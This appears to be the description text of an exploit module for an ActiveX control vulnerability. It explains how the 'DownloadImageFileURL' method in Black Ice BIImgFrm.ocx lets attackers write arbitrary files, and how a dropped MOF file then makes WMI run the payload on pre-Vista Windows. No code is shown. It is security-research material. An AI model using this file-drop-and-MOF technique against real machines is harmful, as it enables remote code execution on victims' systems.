|
|
|
|
This module allows remote attackers to place arbitrary files on a users file system
|
|
|
|
by abusing the "DownloadImageFileURL" method in the Black Ice BIImgFrm.ocx ActiveX
|
|
|
|
Control (BIImgFrm.ocx 12.0.0.0). Code exeuction can be acheived by first uploading the
|
|
|
|
payload to the remote machine, and then upload another mof file, which enables Windows
|
|
|
|
Management Instrumentation service to execute the binary. Please note that this module
|
|
|
|
currently only works for Windows before Vista. Also, a similar issue is reported in
|
|
|
|
BIDIB.ocx (10.9.3.0) within the Barcode SDK.
